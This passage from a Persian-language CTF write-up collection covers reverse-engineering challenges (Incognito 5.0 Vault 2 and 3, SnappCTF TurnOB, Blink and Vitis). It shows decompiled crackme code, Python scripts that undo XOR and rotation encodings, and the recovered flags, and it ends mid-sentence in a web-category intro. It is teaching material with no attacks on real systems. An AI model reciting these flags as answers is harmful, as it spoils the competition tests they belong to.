\u062e\u0628 \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 64\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0631\u0627 \u0647\u0645\u06cc\u0646 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647

\u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 \u0645\u0639\u0645\u0648\u0644\u0627 Hex-Rays(IDA Pro) \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u062e\u0631\u0648\u062c\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0627\u06af\u0631 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06a9\u062f \u0646\u0627\u0645\u0641\u0647\u0648\u0645 \u0628\u0648\u062f\u060c \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0633\u0627\u06cc\u0631 \u062f\u06cc\u06a9\u0627\u067e\u0627\u06cc\u0644\u0631 \u0647\u0627 \u0646\u06cc\u0632 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645. \u062e\u0628 \u067e\u0633 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

__int64 __fastcall mysteryFunction(__int64 a1)\n{\n  __int64 result;\n  int i;\n\n  for ( i = 0; ; ++i )\n  {\n    result = *(unsigned __int8 *)(i + a1);\n    if ( !(_BYTE)result )\n      break;\n    *(_BYTE *)(i + a1) ^= (unsigned __int8)(i % 5) + 1;\n  }\n  return result;\n}\n\n_BOOL8 __fastcall checkFlag(const char *a1)\n{\n  char dest[128];\n  char s2[32];\n  qmemcpy(s2, \"hawb~w6q5dcn0[n2\", 16);\n  *(_QWORD *)&s2[15] = 0x7F73357C5C7B32LL;\n  strncpy(dest, a1, 0x80uLL);\n  mysteryFunction((__int64)dest);\n  return strncmp(dest, s2, 0x17uLL) == 0;\n}\n\n\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  char v4[128];\n  puts(\"Enter the flag:\");\n  if ( (unsigned int)__isoc99_scanf(\"%127s\", v4) )\n  {\n    if ( checkFlag(v4) )\n      puts(\"Congratulations! You've solved the challenge.\");\n    else\n      puts(\"Incorrect flag. Try again!\");\n  }\n  return 0;\n}\n

\u062e\u0628 \u0627\u0632 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0645\u06cc\u062a\u0648\u0627\u0646 \u062f\u06cc\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0627\u0632 \u0645\u0627 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u067e\u0627\u0633 \u0645\u06cc\u062f\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 checkFlag \u0627\u0648\u0646\u062c\u0627 \u0648\u0631\u0648\u062f\u06cc \u0645\u0627 \u0628\u0647 \u062a\u0627\u0628\u0639 mysteryFunction \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0628\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u062e\u0627\u0635 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u0634\u0647. \u062a\u0648 \u062a\u0627\u0628\u0639 mysteryFunction \u0645\u06cc\u0627\u062f \u0631\u0648 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u06cc\u06a9\u0633\u0631\u06cc xor \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647 \u0648 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0628\u0631\u06af\u0631\u062f\u0648\u0646\u062f\u0647 \u0645\u06cc\u0634\u0647.

\u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u062a\u0648 \u062e\u0631\u0648\u062c\u06cc IDA \u0631\u0634\u062a\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u0634\u0647 \u062f\u0631\u0633\u062a \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0646\u0634\u062f\u0647 \u0648 \u0645\u06cc\u062a\u0648\u0627\u0646 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc BinaryNinja \u06a9\u0645\u06a9 \u06af\u0631\u0641\u062a.

uint64_t checkFlag(char* arg1)\n{\n    int64_t var_28;\n    __builtin_strcpy(&var_28, \"hawb~w6q5dcn0[n2{\\\\|5s\\x7f\");\n    void var_a8;\n    strncpy(&var_a8, arg1, 0x80);\n    mysteryFunction(&var_a8);\n    int32_t rax;\n    rax = strncmp(&var_a8, &var_28, 0x17) == 0;\n    return rax;\n}\n

"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0628\u0627 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc \u0632\u06cc\u0631 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u062f\u0631 \u0628\u06cc\u0627\u0631\u06cc\u0645

#s = b\"hawb~w6q5dcn0[n\" + bytes.fromhex('7F73357C5C7B32')[::-1]\ns = b\"hawb~w6q5dcn0[n2{\\\\|5s\\x7f\"\nfor i, c in enumerate(s):\n    print(chr(c^(i%5+1) ), end='')\n
FLAG

ictf{v4r1abl3_k3y_x0r}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/","title":"\u0686\u0627\u0644\u0634 Vault 3","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0642\u0637 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 challenge2 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

file challenge2\nchallenge2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a3ba1b21304762fc03ba2e52b68d776218252022, for GNU/Linux 3.2.0, not stripped\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

\u062e\u0628 \u0645\u0634\u0627\u0628\u0647 \u0633\u0648\u0627\u0644 \u0642\u0628\u0644\u06cc \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 64\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0631\u0627 \u0647\u0645\u06cc\u0646 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647

\u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 \u0645\u0639\u0645\u0648\u0644\u0627 Hex-Rays(IDA Pro) \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u062e\u0631\u0648\u062c\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0627\u06af\u0631 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06a9\u062f \u0646\u0627\u0645\u0641\u0647\u0648\u0645 \u0628\u0648\u062f\u060c \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0633\u0627\u06cc\u0631 \u062f\u06cc\u06a9\u0627\u067e\u0627\u06cc\u0644\u0631 \u0647\u0627 \u0646\u06cc\u0632 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645. \u062e\u0628 \u067e\u0633 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

__int64 __fastcall rotateChar(char a1, int a2)\n{\n  if ( a1 > 96 && a1 <= 122 )\n    return (unsigned int)((a1 - 97 + a2) % 26 + 97);\n  if ( a1 <= 64 || a1 > 90 )\n    return (unsigned __int8)a1;\n  return (unsigned int)((a1 - 65 + a2) % 26 + 65);\n}\n\n__int64 __fastcall encrypt(__int64 a1)\n{\n  __int64 result;\n  int i;\n  for ( i = 0; ; ++i )\n  {\n    result = *(unsigned __int8 *)(i + a1);\n    if ( !(_BYTE)result )\n      break;\n    *(_BYTE *)(i + a1) = rotateChar(*(_BYTE *)(i + a1) ^ (unsigned __int8)(i % 4), 3);\n  }\n  return result;\n}\n\n_BOOL8 __fastcall checkFlag(const char *a1)\n{\n  char dest[128];\n  char s2[16];\n  __int64 v4;\n\n  qmemcpy(s2, \"leyh{V2z4x#3q^x\\\"\", sizeof(s2));\n  v4 = 0x7F56305B5D6C77LL;\n  strncpy(dest, a1, 0x80uLL);\n  encrypt((__int64)dest);\n  return strncmp(dest, s2, 0x18uLL) == 0;\n}\n\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  char v4[128];\n  puts(\"Enter the flag:\");\n  if ( (unsigned int)__isoc99_scanf(\"%127s\", v4) )\n  {\n    if ( checkFlag(v4) )\n      puts(\"Congratulations! You've solved the challenge.\");\n    else\n      puts(\"Incorrect flag. Try again!\");\n  }\n  return 0;\n}\n

\u062e\u0628 \u0627\u0632 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0645\u06cc\u062a\u0648\u0627\u0646 \u062f\u06cc\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0627\u0632 \u0645\u0627 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u067e\u0627\u0633 \u0645\u06cc\u062f\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 checkFlag \u0627\u0648\u0646\u062c\u0627 \u0648\u0631\u0648\u062f\u06cc \u0645\u0627 \u0628\u0647 \u062a\u0627\u0628\u0639 encrypt \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0628\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u062e\u0627\u0635 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u0634\u0647. \u062a\u0648 \u062a\u0627\u0628\u0639 encrypt \u0645\u06cc\u0627\u062f \u0631\u0648 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u06cc\u06a9\u0633\u0631\u06cc xor \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647 \u0648 \u0633\u067e\u0633 \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 rotateChar \u062a\u0627\u0628\u0639 rotateChar \u0645\u06cc\u0627\u062f \u06a9\u062f ascii \u06a9\u0627\u0631\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0627\u06af\u0647 \u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06cc\u06a9 \u06cc\u0627 \u0628\u0632\u0631\u06af \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u0628\u0648\u062f \u0628\u0647 \u0645\u06cc\u0632\u0627\u0646 a2 \u0634\u06cc\u0641\u062a \u0645\u06cc\u062f\u0647\u062f.(\u0645\u0634\u0627\u0628\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0633\u0632\u0627\u0631)

\u062d\u0627\u0644 \u0645\u0627 \u0631\u0634\u062a\u0647 \u0645\u0648\u0631\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u067e\u0633 \u0627\u0632 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc \u0628\u0627\u0644\u0627 \u0631\u0648 \u062f\u0627\u0631\u06cc\u0645\u060c \u062f\u0631\u0646\u062a\u06cc\u062c\u0647 \u06a9\u0627\u0641\u06cc\u0633\u062a \u062a\u0645\u0627\u0645 \u0645\u0631\u0627\u062d\u0644 \u0628\u0627\u0644\u0627 \u0631\u0648 \u0645\u0639\u06a9\u0648\u0633 \u067e\u06cc\u0634 \u0628\u0631\u0648\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0627\u0628\u062a\u062f\u0627\u06cc \u06a9\u0627\u0631 \u0628\u0631\u0633\u06cc\u0645 \u0648\u0644\u06cc \u067e\u06cc\u0634 \u0627\u0632 \u0622\u0646\u060c \u0631\u0634\u062a\u0647 \u0645\u0648\u0631\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u062a\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0622\u06cc\u062f\u0627 \u067e\u0631\u0648 \u0627\u0646\u062f\u06a9\u06cc \u0645\u0628\u0647\u0645\u0647\u060c \u062f\u0631\u0646\u062a\u06cc\u062c\u0647 \u0628\u0647 \u06a9\u0645\u06a9 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 BinaryNinja \u0631\u0634\u062a\u0647 \u062f\u0642\u06cc\u0642 \u0646\u0647\u0627\u06cc\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645

uint64_t checkFlag(char* arg1)\n{\n    int64_t var_28;\n    __builtin_strcpy(&var_28, \"leyh{V2z4x#3q^x\\\"wl][0V\\x7f\");\n    void var_a8;\n    strncpy(&var_a8, arg1, 0x80);\n    encrypt(&var_a8);\n    int32_t rax;\n    rax = strncmp(&var_a8, &var_28, 0x18) == 0;\n    return rax;\n}\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"
def revRotateChar(c, num):\n    if 96<c and c<=122:\n        return (c - 97 - num) % 26 + 97\n    if 64<c and c<=90:\n        return (c - 65 - num) % 26 + 65\n    return c\n\ns = b\"leyh{V2z4x#3q^x\\\"wl][0V\\x7f\"\nfor i, c in enumerate(s):\n    print(chr(revRotateChar(c, 3)^(i % 4)), end='')\n
FLAG

ictf{R0t4t!0n_w!th_X0R}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

"},{"location":"reverse/writeups/SnappCTF/TurnOB/","title":"\u0686\u0627\u0644\u0634 TurnOB","text":"","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/TurnOB/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u062f\u0648 \u0641\u0627\u06cc\u0644 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647. \u06cc\u06a9 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0641\u0644\u06af \u0648 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0645\u0632\u06a9\u0646\u0646\u062f\u0647 \u06a9\u0647 \u0637\u0628\u0642 \u06af\u0641\u062a\u0647 \u0633\u0648\u0627\u0644 \u0638\u0627\u0647\u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0631\u0645\u0632 \u0634\u062f\u0634 \u0631\u0648 \u0628\u0631\u0627\u0645\u0648\u0646 \u067e\u0631\u06cc\u0646\u062a \u0645\u06cc\u06a9\u0646\u0647.

> file *\nflag.enc: ASCII text, with no line terminators\nturnob:   ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60dbfb0af3f9c3f987d055cfc11f6da40cdbcf75, for GNU/Linux 3.2.0, stripped\n\n> cat flag.enc\n5c:1b:72:35:35:64:5c:6d:95:ef:69:a6:d6:09:f8:6d:bc:9d:f8:99:16:0e:d5:f8:16:f0:7a:a1:d2:09:aa:f8:a2:bb:f8:8c:d2:7e:a7:%\n

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/TurnOB/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u0628\u0627 \u0686\u0646\u062f\u0628\u0627\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0648 \u062f\u0627\u062f\u0646 \u0648\u0631\u0648\u062f\u06cc \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0645\u06cc\u0634\u0647 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f \u06a9\u0647 \u0647\u0631 \u06a9\u0627\u0631\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0627\u0631\u0628\u0631\u060c \u0628\u0647 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0645\u0646\u062d\u0635\u0631 \u0628\u0647 \u0641\u0631\u062f \u0645\u067e \u0634\u062f\u0647. \u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644 \u062f\u0631 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0631\u0641 a \u0628\u0647 \u0631\u0634\u062a\u0647 12\u060c \u062d\u0631\u0641 b \u0628\u0647 \u0631\u0634\u062a\u0647 1f \u0648 \u062d\u0631\u0641 c \u0628\u0647 \u0631\u0634\u062a\u0647 2c \u0627\u0646\u06a9\u062f \u0645\u06cc\u0634\u0646.

> echo -n 'abc' | ./turnob\n12:1f:2c:%\n

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u06a9\u0627\u0641\u06cc\u0647 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645 \u0648 \u062f\u06cc\u06a9\u0634\u0646\u0631\u06cc \u0627\u0632 \u062a\u0645\u0627\u0645 \u06a9\u0627\u0631\u06a9\u062a\u0631\u0647\u0627 \u0648 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0645\u062a\u0646\u0627\u0638\u0631\u0634\u0648\u0646 \u0628\u0633\u0627\u0632\u06cc\u0645 \u0648 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0641\u0644\u06af \u0631\u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 \u0641\u0644\u06af \u0628\u0631\u0633\u06cc\u0645

from string import printable\nfrom subprocess import Popen, PIPE, STDOUT\n\np = Popen(['./turnob'], stdout=PIPE, stdin=PIPE, stderr=STDOUT)\nans = p.communicate(input=printable.encode())[0].decode()\n\n\nd = {j:i for i, j in zip(printable, ans.split(':'))}\n\nwith open(\"flag.enc\") as f:\n    s = f.read()\n\nfor i in s.split(':')[:-1]:\n    print(d[i], end='')\n
FLAG

SNAPP{Sh0rTE5t_h3X_DuMp_u7il!tY_1n_C!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/blink/","title":"Blink","text":"

\u0628\u0627 \u0627\u06cc\u0646 \u06a9\u0647 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u062a\u0648 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u06cc\u0648\u0631\u0633\u0647\u060c \u0627\u0645\u0627 \u062e\u0648 \u06a9\u06cc \u062d\u0627\u0644 \u062f\u0627\u0631\u0647 \u06a9\u0627\u06a9\u0648\u061f

\u0641\u0642\u0637 \u062a\u06cc\u06a9\u0647 \u0627\u0648\u0644\u0634 \u0631\u0648 \u0631\u06cc\u0648\u0631\u0633 \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u0641\u0647\u0645\u06cc\u062f\u06cc\u0645 \u06a9\u0647 \u06cc\u0647 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u06cc\u0647 \u062e\u0631\u0648\u062c\u06cc

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0633\u0645\u067e\u0644 \u0633\u0627\u062e\u062a\u06cc\u0645 \u0648 \u0637\u0628\u0642 \u062a\u0635\u0648\u06cc\u0631 \u0641\u0647\u0645\u06cc\u062f\u06cc\u0645 \u0627\u06cc\u0646 \u0628\u0644\u0627\u06af\u0631\u0641\u062a\u0647 \u062f\u0627\u0631\u0647 \u0686\u06cc\u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0647

import os\nfor i in os.scandir('/tmp/Blink'):\n    print()\n    print(open(\"/tmp/Blink/\" + i.name, 'r').read().replace('\\n', ''), end='')\n

\u0628\u0639\u062f \u0628\u0627 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644\u0627 \u0631\u0648 \u0632\u06cc\u0631 \u0647\u0645 \u0686\u0627\u067e \u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0641\u0644\u06af \u0633\u0627\u062e\u062a\u0647 \u0645\u06cc\u0634\u0647

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/blink/#_1","title":"Blink","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/vitis/","title":"Vitis","text":"

\u062f\u06cc\u06af\u0647 \u0633\u0627\u062f\u0647 \u062a\u0631 \u0627\u0632 \u0627\u06cc\u0646 \u0646\u062f\u0627\u0631\u06cc\u0645 =)))

FLAG

SNAPP{I_L0v3_WINE_1N_L!nUX!!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"steganography/","title":"Steganography","text":""},{"location":"web/","title":"\u0648\u0628","text":"","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/#_2","title":"\u0648\u0642\u062a\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0645 \u0686\u0644\u0646\u062c \u06cc\u0627 \u0686\u0627\u0644\u0634 \u0648\u0628, \u062f\u0642\u06cc\u0642\u0627 \u0627\u0632 \u0686\u06cc \u0635\u062d\u0628\u062a \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645\u061f","text":"

\u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0648\u0628, \u06cc\u06a9\u06cc \u0627\u0632 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646, \u06cc\u0627 \u0628\u0647\u062a\u0631\u0647 \u0628\u06af\u06cc\u0645 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646 \u062f\u0633\u062a\u0647 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0647\u0633\u062a \u06a9\u0647 \u0647\u062f\u0641\u200c \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0648 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u06a9\u0631\u062f\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u062a\u062d\u062a \u0648\u0628 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0631\u0633\u06cc\u062f\u0646 \u0628\u0647 \u0641\u0644\u06af \u0648 \u062f\u0631\u06cc\u0627\u0641\u062a \u0627\u0645\u062a\u06cc\u0627\u0632 \u0627\u0648\u0646 \u0686\u0644\u0646\u062c \u0647\u0633\u062a. \u0628\u0627\u0632\u06cc \u06a9\u0631\u062f\u0646 \u0648 \u062d\u0644 \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0646\u0647 \u0634\u0645\u0627 \u0631\u0648 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631\u200c\u0647\u0627, \u0628\u0627\u06cc\u067e\u0633\u200c\u0647\u0627 \u0648 \u0645\u062a\u062f\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0622\u0634\u0646\u0627 